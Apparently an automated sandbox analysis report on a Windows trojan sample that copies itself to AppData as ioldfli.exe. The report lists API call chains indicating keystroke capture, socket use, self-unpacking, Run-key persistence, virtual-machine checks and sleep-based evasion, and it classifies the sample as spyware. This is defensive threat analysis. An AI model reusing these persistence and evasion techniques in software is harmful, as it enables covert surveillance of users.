Code function: 2_2_00409CF9 RegisterRawInputDevices,GetRawInputData,malloc,GetRawInputData,PostQuitMessage,DefWindowProcW,

2_2_00409CF9

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	2_2_00409953
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	2_1_00409953
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	6_2_00409953
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	6_1_00409953
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00409953 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyboardState,MapVirtualKeyW,ToUnicode,WideCharToMultiByte,GetKeyState,MapVirtualKeyW,GetKeyNameTextW,GetKeyState,WideCharToMultiByte,	9_2_00409953

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00411A5C select,__WSAFDIsSet,recv,recv,recv,ntohs,socket,connect,		2_1_00411A5C
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040262F malloc,ntohs,inet_ntoa,ntohs,inet_ntoa,malloc,ntohs,inet_ntoa,		2_1_0040262F

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_004030CB EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		1_2_004030CB
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_004030CB EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		7_2_004030CB

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_004046CA	1_2_004046CA
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_00405FA8	1_2_00405FA8
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_73861A98	1_2_73861A98
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00403047	2_2_00403047
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0041D049	2_2_0041D049
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00419463	2_2_00419463
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00415079	2_2_00415079
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00420420	2_2_00420420
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_004208C0	2_2_004208C0
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_004034D3	2_2_004034D3
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00414976	2_2_00414976
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00402E68	2_2_00402E68
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00416619	2_2_00416619
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040AEC6	2_2_0040AEC6
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00402AFC	2_2_00402AFC
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00415ABF	2_2_00415ABF
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00420F40	2_2_00420F40
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0041FF50	2_2_0041FF50
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040A728	2_2_0040A728
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00403047	2_1_00403047
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0041D049	2_1_0041D049
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00419463	2_1_00419463
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00415079	2_1_00415079
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00420420	2_1_00420420
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_004208C0	2_1_004208C0
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_004034D3	2_1_004034D3
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00414976	2_1_00414976
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00402E68	2_1_00402E68
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00416619	2_1_00416619
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040AEC6	2_1_0040AEC6
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00402AFC	2_1_00402AFC
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00415ABF	2_1_00415ABF
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00420F40	2_1_00420F40
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0041FF50	2_1_0041FF50
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040A728	2_1_0040A728
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00403047	6_2_00403047
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0041D049	6_2_0041D049
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00419463	6_2_00419463
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00415079	6_2_00415079
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00420420	6_2_00420420
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_004208C0	6_2_004208C0
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_004034D3	6_2_004034D3
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00414976	6_2_00414976
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00402E68	6_2_00402E68
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00416619	6_2_00416619
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040AEC6	6_2_0040AEC6
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00402AFC	6_2_00402AFC
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00415ABF	6_2_00415ABF
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00420F40	6_2_00420F40
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0041FF50	6_2_0041FF50
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040A728	6_2_0040A728
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00403047	6_1_00403047
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0041D049	6_1_0041D049
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00419463	6_1_00419463
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00415079	6_1_00415079
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00420420	6_1_00420420
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_004208C0	6_1_004208C0
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_004034D3	6_1_004034D3
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00414976	6_1_00414976
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00402E68	6_1_00402E68
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00416619	6_1_00416619
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040AEC6	6_1_0040AEC6
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00402AFC	6_1_00402AFC
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00415ABF	6_1_00415ABF
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00420F40	6_1_00420F40
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0041FF50	6_1_0041FF50
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040A728	6_1_0040A728
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_004046CA	7_2_004046CA
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_00405FA8	7_2_00405FA8
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00403047	9_2_00403047
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0041D049	9_2_0041D049
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00419463	9_2_00419463
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00415079	9_2_00415079
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00420420	9_2_00420420
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_004208C0	9_2_004208C0
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_004034D3	9_2_004034D3
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00414976	9_2_00414976
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00402E68	9_2_00402E68
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00416619	9_2_00416619
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040AEC6	9_2_0040AEC6
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00402AFC	9_2_00402AFC
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00415ABF	9_2_00415ABF
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00420F40	9_2_00420F40
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0041FF50	9_2_0041FF50
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040A728	9_2_0040A728

Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: String function: 004081AA appears 330 times
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: String function: 0041F724 appears 93 times
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: String function: 00407F7A appears 33 times
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: String function: 0041F714 appears 33 times
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: String function: 004081AA appears 220 times
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: String function: 0041F724 appears 62 times

Source: US1pwXib6h.exe, 00000001.00000003.363457760.0000000009BC6000.00000004.00000001.sdmp

Binary or memory string: OriginalFilenamentdll.dllj% vs US1pwXib6h.exe

Source: US1pwXib6h.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/10@14/3

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 1_2_004041CD GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

1_2_004041CD

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_00402570 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

2_2_00402570

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 1_2_00402020 CoCreateInstance,MultiByteToWideChar,

1_2_00402020

Source: C:\Users\user\Desktop\US1pwXib6h.exe

File created: C:\Users\user\AppData\Roaming\fatbtifdnumsa

Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Mutant created: \Sessions\1\BaseNamedObjects\oCTboYgC

Source: C:\Users\user\Desktop\US1pwXib6h.exe

File created: C:\Users\user\AppData\Local\Temp\nsz6A77.tmp

Jump to behavior

Source: US1pwXib6h.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\US1pwXib6h.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\US1pwXib6h.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: US1pwXib6h.exe	Virustotal: Detection: 15%
Source: US1pwXib6h.exe	ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\US1pwXib6h.exe

File read: C:\Users\user\Desktop\US1pwXib6h.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\US1pwXib6h.exe 'C:\Users\user\Desktop\US1pwXib6h.exe'
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Process created: C:\Users\user\Desktop\US1pwXib6h.exe 'C:\Users\user\Desktop\US1pwXib6h.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Process created: C:\Users\user\Desktop\US1pwXib6h.exe 'C:\Users\user\Desktop\US1pwXib6h.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'	Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: US1pwXib6h.exe, 00000001.00000003.363846894.0000000009C40000.00000004.00000001.sdmp, ioldfli.exe, 00000004.00000003.385574206.0000000009A10000.00000004.00000001.sdmp, ioldfli.exe, 00000007.00000003.404915131.0000000009A20000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: US1pwXib6h.exe, 00000001.00000003.363846894.0000000009C40000.00000004.00000001.sdmp, ioldfli.exe, 00000004.00000003.385574206.0000000009A10000.00000004.00000001.sdmp, ioldfli.exe, 00000007.00000003.404915131.0000000009A20000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Unpacked PE file: 2.2.US1pwXib6h.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.data:W;.eh_fram:R;.bss:W;.edata:R;.idata:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Unpacked PE file: 6.2.ioldfli.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.data:W;.eh_fram:R;.bss:W;.edata:R;.idata:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Unpacked PE file: 9.2.ioldfli.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.data:W;.eh_fram:R;.bss:W;.edata:R;.idata:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Unpacked PE file: 2.2.US1pwXib6h.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Unpacked PE file: 6.2.ioldfli.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Unpacked PE file: 9.2.ioldfli.exe.400000.0.unpack

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 1_2_00405CFF GetModuleHandleA,LoadLibraryA,GetProcAddress,

1_2_00405CFF

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_73862F60 push eax; ret	1_2_73862F8E
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00409E61 push eax; mov dword ptr [esp], ebx	2_2_00409FDE
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040DCE9 push ecx; mov dword ptr [esp], 00423976h	2_2_0040DD9F
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040DCE9 push ebp; mov dword ptr [esp], 0042398Ah	2_2_0040DDD9
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040DCE9 push edx; mov dword ptr [esp], 00423997h	2_2_0040DDF7
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040DCE9 push edx; mov dword ptr [esp], esi	2_2_0040E394
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040A4BC push esi; mov dword ptr [esp], 00423347h	2_2_0040A543
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00409953 push edi; mov dword ptr [esp], 00000091h	2_2_00409980
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00409953 push ebp; mov dword ptr [esp], 00000090h	2_2_0040998D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00411D8C push edx; mov dword ptr [esp], edi	2_2_00412058
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406E04 push ecx; mov dword ptr [esp], ebx	2_2_00406E69
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040262F push edx; mov dword ptr [esp], edi	2_2_004027C8
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040262F push edx; mov dword ptr [esp], edi	2_2_00402815
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040262F push edx; mov dword ptr [esp], edi	2_2_004029B2
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_004146E1 push eax; mov dword ptr [esp], ebx	2_2_0041470B
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040970C push eax; mov dword ptr [esp], 0042B4A0h	2_2_004097B9
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00409E61 push eax; mov dword ptr [esp], ebx	2_1_00409FDE
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040DCE9 push ecx; mov dword ptr [esp], 00423976h	2_1_0040DD9F
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040DCE9 push ebp; mov dword ptr [esp], 0042398Ah	2_1_0040DDD9
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040DCE9 push edx; mov dword ptr [esp], 00423997h	2_1_0040DDF7
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040DCE9 push edx; mov dword ptr [esp], esi	2_1_0040E394
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040A4BC push esi; mov dword ptr [esp], 00423347h	2_1_0040A543
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00409953 push edi; mov dword ptr [esp], 00000091h	2_1_00409980
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00409953 push ebp; mov dword ptr [esp], 00000090h	2_1_0040998D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00411D8C push edx; mov dword ptr [esp], edi	2_1_00412058
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406E04 push ecx; mov dword ptr [esp], ebx	2_1_00406E69
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040262F push edx; mov dword ptr [esp], edi	2_1_004027C8
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040262F push edx; mov dword ptr [esp], edi	2_1_00402815
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040262F push edx; mov dword ptr [esp], edi	2_1_004029B2
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_004146E1 push eax; mov dword ptr [esp], ebx	2_1_0041470B
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040970C push eax; mov dword ptr [esp], 0042B4A0h	2_1_004097B9

Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	File created: C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	File created: C:\Users\user\AppData\Local\Temp\nst9B9A.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\US1pwXib6h.exe	File created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Jump to dropped file
Source: C:\Users\user\Desktop\US1pwXib6h.exe	File created: C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll	Jump to dropped file

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run goqkksd			Jump to behavior
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run goqkksd			Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe TID: 6552	Thread sleep time: -975000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe TID: 6772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe TID: 7016	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00405302
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_00405CD8 FindFirstFileA,FindClose,	1_2_00405CD8
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 1_2_0040263E FindFirstFileA,	1_2_0040263E
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_2_00406453
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	2_2_0040680D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	2_2_0040753D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_2_00413A85
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	2_2_0040DB1C
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	2_2_00406F83
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_2_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	2_2_00406390
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_1_00406453
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	2_1_0040680D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	2_1_0040753D
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	2_1_00413A85
